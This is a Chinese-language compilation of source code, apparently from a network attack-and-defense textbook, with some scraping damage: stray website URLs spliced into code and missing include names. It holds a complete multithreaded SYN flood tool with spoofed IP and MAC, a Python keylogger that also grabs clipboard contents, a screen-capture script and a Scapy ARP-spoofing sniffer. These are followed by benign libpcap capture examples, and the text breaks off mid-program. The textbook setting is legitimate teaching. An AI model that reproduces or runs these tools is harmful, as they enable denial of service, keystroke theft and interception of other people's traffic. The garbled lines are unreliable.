网络攻防原理与技术源代码

/*===================================================

* 基于winpcap的多线程SYN Flood攻击源代码

* 运行平台：WinXP，Win2k3，WinVista，Win2k8，Win7

* 编译环境：VC6.0 + winpcap SDK

*====================================================*/

#define WIN32_LEAN_AND_MEAN

#define _WSPIAPI_COUNTOF

#include

#include

#include

#include

#include

#include

#pragma comment(lib, "ws2_32.lib")

#pragma comment(lib, "wpcap.lib")

#pragma comment(lib, "packet.lib")

#define MAXTHREAD 20

#define OID_802_3_CURRENT_ADDRESS 0x01010102

#define OPTION_LENTH 6

#define SYN_DEST_IP "192.168.0.22" // 被攻击的IP

#define SYN_DEST_PORT 80 // 被攻击的PORT #define FAKE_IP "192.168.0.11" // 伪装的IP

#define FAKE_MAC "\xB8\xAC\x6F\x1F\x26\xF6" // 伪装的MAC

// 内存对齐设置必须是1

#pragma pack(1)

typedef struct et_header // 以太网首部

{

unsigned char eh_dst[6]; // 目的MAC

unsigned char eh_src[6]; // 源MAC

unsigned short eh_type; // 上层协议类型

}ET_HEADER;

typedef struct ip_hdr // IP首部

{

unsigned char h_verlen; // 版本与首部长度

unsigned char tos; // 区分服务

unsigned short total_len; // 总长度

unsigned short ident; // 标识

unsigned short frag_and_flags; // 3位的标志与13位的片偏移

unsigned char ttl; // 生存时间

unsigned char proto; // 协议

unsigned short checksum; // 首部校验和

unsigned int sourceIP; // 源IP

unsigned int destIP; // 目的IP

}IP_HEADER;

typedef struct tcp_hdr // TCP首部

{

unsigned short th_sport; // 16位源端口

unsigned short th_dport; // 16位目的端口

unsigned int th_seq; // 32位序列号

unsigned int th_ack; // 32位确认号

unsigned short th_data_flag; // 16位标志位

unsigned short th_win; // 16位窗口大小

unsigned short th_sum; // 16位校验和

unsigned short th_urp; // 16位紧急数据偏移量unsigned int option[OPTION_LENTH];

}TCP_HEADER;

typedef struct psd_hdr // TCP伪首部

{

unsigned long saddr; // 源地址

unsigned long daddr; // 目的地址

char mbz;

char ptcl; // 协议类型

unsigned short tcpl; // TCP长度

}PSD_HEADER;

typedef struct _SYN_PACKET // 最终SYN包结构{

ET_HEADER eth; // 以太网头部

IP_HEADER iph; // arp数据包头部

TCP_HEADER tcph; // tcp数据包头部

}SYN_PACKET;

#pragma pack()

typedef struct _PARAMETERS // 传递给线程的参数体{

unsigned int srcIP;

unsigned int dstIP;

unsigned short dstPort;

unsigned char* srcmac;

unsigned char dstmac[6];

pcap_t* adhandle;

}PARAMETERS, *LPPARAMETERS;

// 获得网卡的MAC地址

unsigned char* GetSelfMac(char* pDevName)

{

static u_char mac[6];

memset(mac, 0, sizeof(mac));

LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);

if (!lpAdapter || (lpAdapter->hFile == INV ALID_HANDLE_VALUE))

{

return NULL;

}

PPACKET_OID_DA TA OidData =

(PPACKET_OID_DA TA)malloc(6 + sizeof(PACKET_OID_DATA));

if (OidData == NULL)

{

PacketCloseAdapter(lpAdapter);

return NULL;

}

OidData->Oid = OID_802_3_CURRENT_ADDRESS;

OidData->Length = 6;

memset(OidData->Data, 0, 6);

BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);

if(Status)

{

memcpy(mac,(u_char*)(OidData->Data),6);

}

free(OidData);

PacketCloseAdapter(lpAdapter);

return mac;

}

// 计算校验和

unsigned short CheckSum(unsigned short * buffer, int size)

{

unsigned long cksum = 0;

while (size > 1)

{

cksum += *buffer++;

size -= sizeof(unsigned short);

}

if (size)

{

cksum += *(unsigned char *) buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >> 16);

return (unsigned short) (~cksum);

}

// 封装ARP请求包

void BuildSYNPacket(SYN_PACKET &packet,

unsigned char* source_mac,

unsigned char* dest_mac,

unsigned long srcIp,

unsigned long destIp,

unsigned short dstPort)

{

PSD_HEADER PsdHeader;

// 定义以太网头部

memcpy(packet.eth.eh_dst, dest_mac, 6);

memcpy(packet.eth.eh_src, source_mac, 6);

packet.eth.eh_type = htons(0x0800); // ARP协议类型值为0x0800 // 定义IP头

packet.iph.h_verlen = 0;

packet.iph.h_verlen = ((4<<4)| sizeof(IP_HEADER)/sizeof(unsigned int));

packet.iph.tos = 0;

packet.iph.total_len= htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));

packet.iph.ident = 1;

packet.iph.frag_and_flags = htons(1<<14);

packet.iph.ttl = 128;

packet.iph.proto = IPPROTO_TCP;

packet.iph.checksum = 0;

packet.iph.sourceIP = srcIp;

packet.iph.destIP = destIp;

// 定义TCP头

packet.tcph.th_sport= htons(rand()%60000 + 1024);

packet.tcph.th_dport= htons(dstPort);

packet.tcph.th_seq = htonl(rand()%900000000 + 100000);

packet.tcph.th_ack = 0;

packet.tcph.th_data_flag = 0;

packet.tcph.th_data_flag = (11<<4|2<<8);

packet.tcph.th_win = htons(512);

packet.tcph.th_sum = 0;

packet.tcph.th_urp = 0;

packet.tcph.option[0] = htonl(0X020405B4);

packet.tcph.option[1] = htonl(0x01030303);

packet.tcph.option[2] = htonl(0x0101080A);

packet.tcph.option[3] = htonl(0x00000000);

packet.tcph.option[4] = htonl(0X00000000);

packet.tcph.option[5] = htonl(0X01010402);

// 构造伪头部

PsdHeader.saddr = srcIp;

PsdHeader.daddr = packet.iph.destIP;

PsdHeader.mbz = 0;

PsdHeader.ptcl = IPPROTO_TCP;

PsdHeader.tcpl = htons(sizeof(TCP_HEADER));

BYTE Buffer[sizeof(PsdHeader)+sizeof(TCP_HEADER)] = {0};

memcpy(Buffer, &PsdHeader, sizeof(PsdHeader));

memcpy(Buffer + sizeof(PsdHeader), &packet.tcph, sizeof(TCP_HEADER));

packet.tcph.th_sum = CheckSum((unsigned short *)Buffer,

sizeof(PsdHeader) + sizeof(TCP_HEADER));

memset(Buffer, 0, sizeof(Buffer));

memcpy(Buffer, &packet.iph, sizeof(IP_HEADER));

packet.iph.checksum = CheckSum((unsigned short *)Buffer, sizeof(IP_HEADER));

return;

}

// 发包线程函数

DWORD WINAPI SYNFloodThread(LPVOID lp)

{

PARAMETERS param;

param = *((LPPARAMETERS)lp);

Sleep(10);

while(true)

{

SYN_PACKET packet;

BuildSYNPacket(packet, param.srcmac, param.dstmac,

param.srcIP, param.dstIP, param.dstPort);

if (pcap_sendpacket(param.adhandle,

(const unsigned char*)&packet,

sizeof(packet))==-1)

{

fprintf(stderr, "pcap_sendpacket error.\n");

}

}

return 1;

}

int main(int argc,char* argv[])

{

unsigned long fakeIp = inet_addr(FAKE_IP); // 要伪装成的IP地址if (fakeIp == INADDR_NONE)

{

fprintf(stderr,"Invalid IP: %s\n", FAKE_IP);

return -1;

}

unsigned long destIp = inet_addr(SYN_DEST_IP); // 目的IP

if (destIp == INADDR_NONE)

{

fprintf(stderr,"Invalid IP: %s\n",SYN_DEST_IP);

return -1;

}

unsigned short dstPort = SYN_DEST_PORT; // 目的端口

if (dstPort < 0 || dstPort > 65535)

{

fprintf(stderr,"InvalidPort: %d\n", SYN_DEST_PORT);

return -1;

}

pcap_if_t *alldevs; // 全部网卡列表

pcap_if_t *d; // 一个网卡

pcap_addr_t *pAddr; // 网卡地址

char errbuf[PCAP_ERRBUF_SIZE]; // 错误缓冲区

if (pcap_findalldevs(&alldevs, errbuf) == -1) // 获得本机网卡列表{

fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);

exit(1);

}

int i = 0;

for (d = alldevs; d; d = d->next)

{

printf("%d", ++i);

if (d->description)

printf(". %s\n", d->description);

else

printf(". No description available\n");

}

if (i == 0)

{

fprintf(stderr, "\nNo interfaces found!\n");

return -1;

}

printf("Enter the interface number (1-%d):", i);

int inum;

scanf("%d", &inum); // 用户选择的网卡序号

if(inum < 1 || inum > i)

{

printf("\nInterface number out of range.\n");

pcap_freealldevs(alldevs);

return -1;

}

HANDLE threadhandle[MAXTHREAD];

PARAMETERS param;

// 设置目的MAC地址

memcpy(param.dstmac, FAKE_MAC, 6);

// 填充线程的参数体

param.dstIP = destIp;

param.srcIP = fakeIp;

param.dstPort = dstPort;

// 移动指针到用户选择的网卡

for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

param.srcmac = GetSelfMac(d->name);

printf("发送SYN包，本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", param.srcmac[0],

param.srcmac[1],

param.srcmac[2],

param.srcmac[3],

param.srcmac[4],

param.srcmac[5], FAKE_IP);

if ((param.adhandle= pcap_open_live(d->name, 65536, 0, 1000, errbuf)) == NULL) {

fprintf(stderr,"\nUnable to open adapter.\n");

pcap_freealldevs(alldevs);

return -1;

}

pAddr = d->addresses;

while (pAddr)

{

// 创建多线程

for (int i = 0; i < MAXTHREAD; i++)

{

threadhandle[i] =

CreateThread(NULL, 0, SYNFloodThread, (void *)¶m, 0, NULL);

if(!threadhandle)

{

printf("CreateThread error: %d\n",GetLastError());

}

Sleep(100);

}

pAddr = pAddr->next;

}

printf("退出请输入q或者Q！\n");

char cQuit;

do {

cQuit = getchar();

}while(cQuit != 'q' && cQuit != 'Q');

return 0;

}

############################################################################## # 程序名：keylogger.py

# 功能：利用Python第三方库PyHook实现键盘记录

# 说明：运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个自# 定义的钩子函数，通过函数就能截获用户的按键消息。

############################################################################## from ctypes import *

import pythoncom

import pyHook

import win32clipboard

user32 = https://www.360docs.net/doc/066039731.html,er32

kernel32 = windll.kernel32

psapi = windll.psapi

current_window = None

def get_current_process():

hwnd = user32.GetForegroundWindow() # 获得前台窗口句柄

pid = c_ulong(0)

user32.GetWindowThreadProcessId(hwnd, byref(pid))

process_id = "%d" % pid.value # 获得进程PID

executable = create_string_buffer("\x00" * 512)

h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # 获得进程名

window_title = create_string_buffer("\x00" * 512)

length = user32.GetWindowTextA(hwnd, byref(window_title),512) # 获得窗口名

print

print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)

print

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process)

def key_event(event):

global current_window

if event.WindowName != current_window: # 检查目标是否切换了窗口

current_window = event.WindowName

get_current_process()

if event.Ascii > 32 and event.Ascii < 127: # 检查是否为常规按键

print chr(event.Ascii),

else:

if event.Key == "V": # 如果是Ctrl+V，则获取剪贴板内容win32clipboard.OpenClipboard()

pasted_value = win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

print "[PASTE] - %s" % (pasted_value),

else:

print "[%s]" % event.Key,

return True # 返回到下一个钩子事件

def key_logger():

hooker = pyHook.HookManager() # 创建钩子函数管理器

hooker.KeyDown = key_event # 注册钩子按键事件的处理函数

hooker.HookKeyboard() # 创建键盘钩子

pythoncom.PumpMessages()

if __name__ == '__main__':

key_logger()

# 程序名：screenshot.py

# 功能：利用Python第三方库PyWin32实现截取屏幕功能，将截取的屏幕保存在C盘

#上的文件screen.bmp中。

# 说明：运行平台Windows。

############################################################################## import win32gui

import win32ui

import win32con

import win32api

def screen_shot():

hdesktop = win32gui.GetDesktopWindow() # 获得桌面窗口句柄

# 获得显示器尺寸

width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

desktop_dc = win32gui.GetWindowDC(hdesktop) # 创建设备描述表

img_dc = win32ui.CreateDCFromHandle(desktop_dc)

mem_dc = img_dc.CreateCompatibleDC() # 创建基于内存的设备描述表

screenshot = win32ui.CreateBitmap()

screenshot.CreateCompatibleBitmap(img_dc, width, height) # 创建位图对象

mem_dc.SelectObject(screenshot)

mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)# 复制屏幕screenshot.SaveBitmapFile(mem_dc, 'c:\\screen.bmp') # 将位图保存到文件

mem_dc.DeleteDC() # 释放对象

win32gui.DeleteObject(screenshot.GetHandle())

if __name__ == '__main__':

screen_shot()

# 程序名：arpspoof.py

# 功能：利用Python开发包Scapy实现ARP欺骗

# 说明：运行平台Linux。

############################################################################## from scapy.all import *

import os

import sys

import threading

interface = "eth0"

target_ip = "192.168.10.122"

gateway_ip = "192.168.10.1"

packet_count = 1000

spoofing = True

def get_mac(ip_address):

responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)

for s,r in responses:

return r[Ether].src

return None

def spoof_target(gateway_ip,gateway_mac,target_ip,target_mac):

global spoofing

spoof_target = ARP()

spoof_target.op = 2

spoof_target.psrc = gateway_ip

spoof_target.pdst = target_ip

spoof_target.hwdst= target_mac

spoof_gateway = ARP()

spoof_gateway.op = 2

spoof_gateway.psrc = target_ip

spoof_gateway.pdst = gateway_ip

spoof_gateway.hwdst= gateway_mac

print "[+] Beginning the ARP spoof. [CTRL+C to stop]"

while spoofing:

send(spoof_target)

send(spoof_gateway)

time.sleep(2)

print "[*] ARP spoof attack finished."

return

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):

print "[*] Restoring target..."

send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=5)

send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac),count=5)

def arp_spoof():

conf.iface = interface

conf.verb = 0

print "[+] Setting up %s" % interface

gateway_mac = get_mac(gateway_ip) # 1.获取网关MAC地址

if gateway_mac is None:

print "[-] Failed to get gateway MAC. Exiting."

sys.exit(0)

else:

print "[+] Gateway %s is at %s" % (gateway_ip,gateway_mac)

target_mac = get_mac(target_ip) # 2.获取目标MAC地址

if target_mac is None:

print "[-] Failed to get target MAC. Exiting."

sys.exit(0)

else:

print "[+] Target %s is at %s" % (target_ip,target_mac)

print "[+] start spoof thread."

spoof_thread = threading.Thread(target=spoof_target, args=(gateway_ip, gateway_mac,target_ip,target_mac)) # 3.启动ARP欺骗进程

spoof_thread.start()

try:

print "[+] Starting sniffer for %d packets" % packet_count

bpf_filter = "ip host %s" % target_ip

packets = sniff(count=packet_count,filter=bpf_filter,iface=interface) # 4.抓取目标流量except KeyboardInterrupt:

pass

finally:

print "[+] Writing packets to arpspoof.pcap"

wrpcap('arpsoof.pcap',packets) # 5.将抓取的流量包写入到文件

spoofing = False

time.sleep(2)

restore_target(gateway_ip,gateway_mac,target_ip,target_mac) # 6.还原网络配置

sys.exit(0)

if __name__ == '__main__':

arp_spoof()

/*********************************************************************

* 程序8-1：pcaptest1.c的源代码

* 功能：捕获一个网络分组，然后分析其类型并打印有关类型和地址信息。

*********************************************************************/

#include

#include

#include /* 有些系统中应为pcap/pcap.h */

#include

#include

#include

#include

#include /* 包括net/ethernet.h */

int main(int argc, char **argv)

{

int i;

char *dev;

char errbuf[PCAP_ERRBUF_SIZE];

pcap_t* descr;

const u_char *packet;

struct pcap_pkthdr hdr; /* 结构类型在头文件pcap.h中定义*/

struct ether_header *eptr; /* 结构类型在头文件net/ethernet.h中定义*/

u_char *ptr; /* 指向硬件头文息*/

dev = pcap_lookupdev(errbuf); /* 查找网络设备*/

if(dev == NULL)

{

printf("%s\n",errbuf);

exit(1);

}

else

printf("DEV: %s\n",dev);

descr = pcap_open_live(dev,BUFSIZ,0,-1,errbuf); /* 以非混杂模式打开网络设备*/ if(descr == NULL)

{

printf("pcap_open_live(): %s\n",errbuf);

exit(1);

}

packet = pcap_next(descr,&hdr); /* 从打开的网络设备中捕获分组*/

if(packet == NULL)

{

printf("Didn't grab packet\n");

exit(1);

}

/* 成功地捕获到一个分组*/

/* 结构pcap_pkthdr的定义：

struct pcap_pkthdr {

struct timeval ts; time stamp

bpf_u_int32 caplen; length of portion present

bpf_u_int32; lebgth this packet (off wire)

}

*/

printf("Grabbed packet of length %d\n",hdr.len); /* 分组长度*/

printf("Recieved at ..%s\n",ctime((const time_t*)&https://www.360docs.net/doc/066039731.html,_sec)); /* 捕获时间*/ printf("Ethernet address length is %d\n",ETHER_HDR_LEN); /* 以太网地址*/

/* 分析以太网帧头信息. */

eptr = (struct ether_header *) packet;

if (ntohs (eptr->ether_type) == ETHERTYPE_IP) /* 是否是IP包*/

{

printf("Ethernet type hex:%x dec:%d is an IP packet\n",

ntohs(eptr->ether_type),

ntohs(eptr->ether_type));

}else if (ntohs (eptr->ether_type) == ETHERTYPE_ARP) /* 是否是ARP包*/ {

printf("Ethernet type hex:%x dec:%d is an ARP packet\n",

ntohs(eptr->ether_type),

ntohs(eptr->ether_type));

}else { /* 其它类型的包*/

printf("Ethernet type %x not IP", ntohs(eptr->ether_type));

exit(1);

}

/* 打印目的地址*/

ptr = eptr->ether_dhost;

i = ETHER_ADDR_LEN;

printf(" Destination Address: ");

do{

printf("%s%x",(i == ETHER_ADDR_LEN) ? " " : ":",*ptr++);

}while(--i>0);

printf("\n");

/* 打印源地址*/

ptr = eptr->ether_shost;

i = ETHER_ADDR_LEN;

printf(" Source Address: ");

do{

printf("%s%x",(i == ETHER_ADDR_LEN) ? " " : ":",*ptr++);

}while(--i>0);

printf("\n");

return 0;

}

/****************************************************************************** * 程序8-2：pcaptest2.c的源代码

* 功能：演示如何使用pcap_loop()，主要功能是连续捕获指定个数的网络分组后退出。******************************************************************************/ #include

#include

#include

#include

#include

#include

#include

#include

/*

定义函数pcap_loop()收到一个分组时的处理函数，这里仅打印收到的分组的序号，

并没有对收到的分组作进一步的分析。它作为pcap_loop()的一个传入参数

*/

void my_callback(u_char *useless,const struct pcap_pkthdr* pkthdr,const u_char*

packet)

{

static int count = 1;

fprintf(stdout,"%d, ",count);

fflush(stdout);

count++;

}

int main(int argc,char **argv)

{

int i;

char *dev;

char errbuf[PCAP_ERRBUF_SIZE];

pcap_t* descr;

const u_char *packet;

struct pcap_pkthdr hdr; /* pcap.h */

struct ether_header *eptr; /* net/ethernet.h */

if(argc != 2){ fprintf(stdout,"Usage: %s numpackets\n",argv[0]);return 0;}

dev = pcap_lookupdev(errbuf); /* 查找网络设备*/

if(dev == NULL)

{ printf("%s\n",errbuf); exit(1); }

/* 打开网络设备*/

descr = pcap_open_live(dev,BUFSIZ,0,-1,errbuf);

if(descr == NULL)

{ printf("pcap_open_live(): %s\n",errbuf); exit(1); }

/* 调用pcap_loop()捕获atoi(argv[1])个网络分组后函数返回, 每收到一个分组就调用my_callback()一次

*/

pcap_loop(descr,atoi(argv[1]),my_callback,NULL);

fprintf(stdout,"\nDone processing packets...!\n");

return 0;

}

/****************************************************************************** * 程序8-3：pcaptest3.c的源代码

* 功能：演示如何使用pcap_compile()和pcap_setfilter()，主要功能是：从命令行输入一个* 过滤字符串，程序将该字符串编译成过滤程序，然后接收过滤程序指定的网络分组

******************************************************************************/ #include

#include

#include

#include

#include

#include

#include

#include

/*

定义函数pcap_loop()收到一个分组时的处理函数，这里仅打印收到的分组的序号，

并没有对收到的分组作进一步的分析。它作为pcap_loop()的一个传入参数

*/

void my_callback(u_char *useless,const struct pcap_pkthdr* pkthdr,const u_char*

packet)

{

static int count = 1;

fprintf(stdout,"%d, ",count);

fflush(stdout);

count++;

}

int main(int argc,char **argv)

{

int i;

char *dev;

char errbuf[PCAP_ERRBUF_SIZE];

pcap_t* descr;

const u_char *packet;

struct pcap_pkthdr hdr; /* pcap.h */

struct ether_header *eptr; /* net/ethernet.h */

struct bpf_program fp; /* 指向被编译后的程序*/

bpf_u_int32 maskp; /* 字网号*/

bpf_u_int32 netp; /* ip */

if (argc != 2)

{ fprintf(stdout,"Usage: %s \"filter program\"\n" ,argv[0]);return 0;}

dev = pcap_lookupdev(errbuf); /* 查找网络设备*/

if(dev == NULL)

{ fprintf(stderr,"%s\n",errbuf); exit(1); }